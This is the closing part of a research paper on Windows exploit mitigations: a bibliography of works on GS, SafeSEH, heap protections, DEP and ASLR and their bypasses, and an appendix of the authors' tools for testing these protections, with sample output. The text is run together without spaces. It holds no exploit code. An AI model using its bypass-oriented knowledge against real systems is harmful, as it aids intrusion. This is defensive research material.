BibliographyMiscellaneousProtectingYourCodewithVisualC++DefensesbyMichaelHowardABriefHistoryofExploitationTechniques&MitigationsonWindowsbyMattMillerImprovingSoftwareSecurityAnalysisusingExploitationPropertiesbyskapeWindowsVistaExploitationCountermeasuresbyRichardJohnsonBufferUnderruns,DEP,ASLRandimprovingtheExploitationPreventionMechanisms(XPMs)ontheWindowsplatformbyDavidLitchfieldGenericAntiExploitationTechnologyforWindowsbyBenNagyMemoryRetrievalVulnerabilitiesbyDerekSoederGS/GScompileroptiondocumentationforVisualStudio2005CompilerSecurityChecksInDepthbyBrandonBraySecurityImprovementstotheWhidbeyCompilerbyBrandonBrayAnalysisofGSprotectionsinMicrosoftWindowsVistabyOllieWhitehouseHardeningStack-basedBufferOverrunDetectioninVC++2005SP1byMichaelHowardFourdifferenttrickstobypassStackShieldandStackGuardbyGerardoRicharteDefeatingtheStackBasedBufferOverflowPreventionMechanismofMicrosoftWindows2003ServerbyDavidLitchfieldReducingtheEffectiveEntropyofGSCookiesbyskapeSafeSEH/SAFESEHlinkeroptiondocumentationforVisualStudio2005SEHSecurityChangesinXPSP2and2003SP1byBenNagyPreventingtheExploitationofSEHOverwritesbySkapeACrashCourseontheDepthsofWin32StructuredExceptionHandlingbyMattPietrekDisableExceptionChainValidationregistrykeyReversingMicrosoftVisualC++PartI:ExceptionHandlingbyIgorSkochinskyHeapprotectionsXPSP2HeapExploitationbyMattConoverandOdedHorovitzHeapFengShuiinJavaScriptbyAlexanderSotirovDefeatingMicrosoftWindowsXPSP2HeapProtectionandDEPbypassbyAlexanderAnisimovExploitingFreelist[0]onXPSP2byBrettMooreBypassingWindowsheapprotectionsbyNicolasFalliereHeapsAboutHeapsbyBrettMooreFAQaboutHeapSetInformationbyMichaelHowardDEPChangestoFunctionalityinWindowsXPSP2:MemoryProtectionTechnologiesDEPonVistaexposed!
byRobertHensingBypassingWindowsHardware-enforcedDataExecutionPreventionbyskapeandSkywingInWindowsXP,evenwhenDEPison,it'sstillsometimesoffbyRaymondChenNewNXAPIsaddedtoWindowsVistaSP1,WindowsXPSP3andWindowsServer2008byMichaelHowardHardwareDEPhasabackdoorbyFabriceRouxReturn-into-libcwithoutFunctionCallsbyHovavShachamASLRAddressSpaceLayoutRandomizationinWindowsVistabyMichaelHowardGSandASLRinWindowsVistabyOllieWhitehouseAnAnalysisofAddressSpaceLayoutRandomizationonWindowsVistabyOllieWhitehouseAppendixA.
MemoryprotectionanalysistoolsInthecourseofourresearchwehavedevelopedasetoftoolsforanalyzingmemoryprotectionsontheWindowsplatform.
ThesetoolscanbeusedtotesttheimplementationofGS,SafeSEH,DEPandASLRindifferentversionsoftheOSandtheVisualC++compiler.
GSgs-perfThegs-perfprogrammeasurestheworstcaseslowdownintroducedbythe/GScompileroption.
Itexecutes100millioniterationsofafunctionthatreturnstheaddressofalocalvariableandmeasureshowlongittakeswithandwithoutGS.
Theresultsfromatestona2.
4GHzCore2DuoCPUindicatea42%slowdown:$.
/gs-perf.
exeTestingworstcaseGSperformance:GSdisabled:188679callspertickGSenabled:108577callspertickGSslowdown:42%gs-testThegs-testprogramteststheGSfunctionheuristicsandvariablereorderingintheVisualC++compiler.
ItcompilesanumberoftestfunctionswithdifferentlocalvariablesandreportswhichfunctionsareprotectedbyGS.
Eachtestfunctioniscompiledtwice-withandwithoutthestrict_gs_checkpragma.
Totestvariablereordering,gs-testgetstheaddressesofthelocalvariablesandargumentsatruntimeanddisplaysthemintheordertheyareonthestack.
Thefollowingoutputshowstheresultsfromgs-testcompiledwithVisualStudio2005SP1:$.
/gs-test.
exeTestingGSheuristics:testcasedefaultGSstrictGStest_intmissingGStest_array_of_4_charmissingGStest_array_of_5_charGSGStest_array_of_2_shortmissingGStest_array_of_3_shortGSGStest_array_of_typedef_charGSGStest_array_of_signed_charGSGStest_array_of_unsigned_charGSGStest_array_of_signed_shortGSGStest_array_of_unsigned_shortGSGStest_array_of_intmissingGStest_array_of_ptrmissingGStest_array_of_struct_1_charGSGStest_array_of_struct_2_charGSGStest_array_of_struct_3_charmissingGStest_array_of_struct_1_shortGSGStest_array_of_struct_2_shortmissingGStest_array_of_struct_intmissingGStest_array_of_struct_char_intmissingGStest_array_of_union_char_charGSGStest_array_of_union_char_shortGSGStest_array_of_union_short_shortGSGStest_array_of_struct_char_struct_charGSGStest_array_of_structs_char_struct_shortmissingGStest_struct_1_charmissingGStest_struct_5_charmissingGStest_struct_array_charGSGStest_union_array_char_intGSGStest_allocaGSGStest_sehmissingmissingtest_seh_intmissingGStest_seh_array_4_charmissingGStest_seh_array_5_charGSGStest_seh_array_250_charGSGStest_seh_array_5000_charGSGStest_arg_intmissingmissingtest_arg_ptrmissingmissingtest_arg_array_charmissingmissingtest_arg_struct_intmissingmissingtest_arg_struct_array_4_charmissingmissingtest_arg_struct_array_5_charGSmissingtest_reorder_localsGSGStest_reorder_locals_orderGSGStest_reorder_argsGSGStest_reorder_strict_bugGSmissingTestingvariablereordering:test_reorder_localsdisabled:missingdefault:GSstrict:GSsourcecodeorderdisabledGSdefaultGSstrictGSintaintk{1int}q{1int}qvoid*b{1int}g{1int}g{1int}gcharc[4]charm[4]charm[4]charm[4]chard[5]charc[4]charc[4]charc[4]inte[5]{1int}qintkintkvoid*f[10]void*bvoid*bvoid*b{1int}gvoid*lvoid*lvoid*l{2ints}hintaintainta{char[10];}ichard[5]{2ints}r{2ints}r{6ints}jcharn[5]{2ints}h{2ints}hintk{2ints}hinto[5]into[5]void*l{2ints}rinte[5]inte[5]charm[4]{char[10];}s{6ints}j{6ints}jcharn[5]{char[10];}i{6ints}t{6ints}tinto[5]into[5]void*f[10]void*f[10]void*p[10]inte[5]void*p[10]void*p[10]{1int}q{6ints}j{char[10];}s{char[10];}s{2ints}r{6ints}t{char[10];}i{char[10];}i{char[10];}svoid*p[10]chard[5]chard[5]{6ints}tvoid*f[10]charn[5]charn[5]test_reorder_locals_orderdisabled:missingdefault:GSstrict:GSsourcecodeorderdisabledGSdefaultGSstrictGSchar[10]acharicharichari{char[30]}b{char;char;}o{char;char;}o{char;char;}ochar[50]c{char[2]}k{char[2]}kcharm[3]{char[70]}dcharm[3]charm[3]intjchar[80]eintjintjvoid*l[2]{char[60]}fvoid*l[2]void*l[2]intn[10]char[40]gchar[10]aintn[10]{char[2]}k{char[20]}h{char[20]}h{char[20]}h{char[20]}hchari{char[30]}b{char[30]}b{char[30]}bintjintn[10]{char[60]}f{char[60]}f{char[2]}kchar[40]g{char[70]}d{char[70]}dvoid*l[2]char[50]cchar[10]achar[10]acharm[3]{char[60]}fchar[40]gchar[40]gintn[10]{char[70]}dchar[50]cchar[50]c{char;char;}ochar[80]echar[80]echar[80]etest_reorder_argsdisabled:missingdefault:GSstrict:GSsourcecodeorderdisabledGSdefaultGSstrictGSintacharlocal2[5]intlocal1char*bchar*bintlocal1char*b{char[5];}e{int;char*;}cchar[2];}d{char[2];}d{char[2];}dinta{char[5];}eintlocal1{char[5];}echar*bcharlocal2[5]charlocal2[5]{char*[5];}f{int;char*;}cchar[2];}dintaintaintlocal1{char[5];}e{int;char*;}c{int;char*;}ccharlocal2[5]{char*[5];}f{char*[5];}f{char*[5];}ftest_reorder_strict_bugdisabled:missingdefault:GSstrict:missingTests:texthandlerinatextsegment,butnotintheSafeSEHtabledatahandlerinadatasegmentheaphandlerontheheapstackhandleronthestack$.
/seh-test.
exetextProcessexecutionflags:ExecuteDisable:0ExecuteEnable:0DisableThunkEmulation:0Permanent:0ExecuteDispatchEnable:0ImageDispatchEnable:0DisableExceptionChainValidation:1Handlerinatextsegment:handlerexecutedDEPdep-testThisprogramtestsDEPbyjumpingtothecodesegment,datasegment,heapandstackandreportingwhetheranaccessviolationexceptionisgenerated.
Itiscompiledtwice,withthe/NXcompatlinkeroptionandwithout.
TheoutputoftheprogramfromVistaSP1inOptOutmodeisshownbelow:$.
/dep-test.
exeProcessexecutionflags:0x4dExecuteDisable:1ExecuteEnable:0DisableThunkEmulation:1Permanent:1ExecuteDispatchEnable:0ImageDispatchEnable:0DisableExceptionChainValidation:1Runningtests:text:okdata:accessviolationheap:accessviolationstack:accessviolationdep-infoOnVistathisprogramdisplaystheprocessexecutionoptionsforallprocessesonthesystem.
OnWindowsXPtheundocumentedAPIweusetogetthisinformationdoesnotworkproperlyforremoteprocesses,soweshowtheprocessexecutionoptionsonlyforthecurrentprocess.
TheoutputoftheprogramfromVistaSP1inOptInmodeisshownbelow:0[SystemProcess][accessdenied]4System[accessdenied]344smss.
exe0x4d408csrss.
exe0x4d448wininit.
exe0x4d456csrss.
exe0x4d484winlogon.
exe0x4d532services.
exe0x4d544lsass.
exe0x4d552lsm.
exe0x4d716svchost.
exe0x4d776svchost.
exe0x4d812svchost.
exe0x4d904svchost.
exe0x4d928svchost.
exe0x4d976svchost.
exe0x4d1044audiodg.
exe[accessdenied]1076SLsvc.
exe0x4d1124svchost.
exe0x4d1260svchost.
exe0x4d1404spoolsv.
exe0x4d1436svchost.
exe0x4d1688taskeng.
exe0x4d1700svchost.
exe0x4d1816VMwareService.
exe0x721924svchost.
exe0x4d1944SearchIndexer.
exe0x4d708mscorsvw.
exe0x4d3000taskeng.
exe0x4d3104dwm.
exe0x4d3116explorer.
exe0x723408MSASCui.
exe0x4d3232VMwareTray.
exe0x722964VMwareUser.
exe0x722804wsqmcons.
exe0x4d3624cmd.
exe0x4d3748ieuser.
exe0x4d3864iexplore.
exe0x723300notepad.
exe0x4d3632SearchProtocolHost.
exe0x4d3056SearchFilterHost.
exe0x4d4040dep-info.
exe0x72Usingthe-voptionenablesverboseoutputanddecodestheprocessexecutionflags:$.
/dep-info.
exe-v[cut]3624cmd.
exe0x4dExecuteDisable:1ExecuteEnable:0DisableThunkEmulation:1Permanent:1ExecuteDispatchEnable:0ImageDispatchEnable:0DisableExceptionChainValidation:14040dep-info.
exe0x72ExecuteDisable:0ExecuteEnable:1DisableThunkEmulation:0Permanent:0ExecuteDispatchEnable:1ImageDispatchEnable:1DisableExceptionChainValidation:1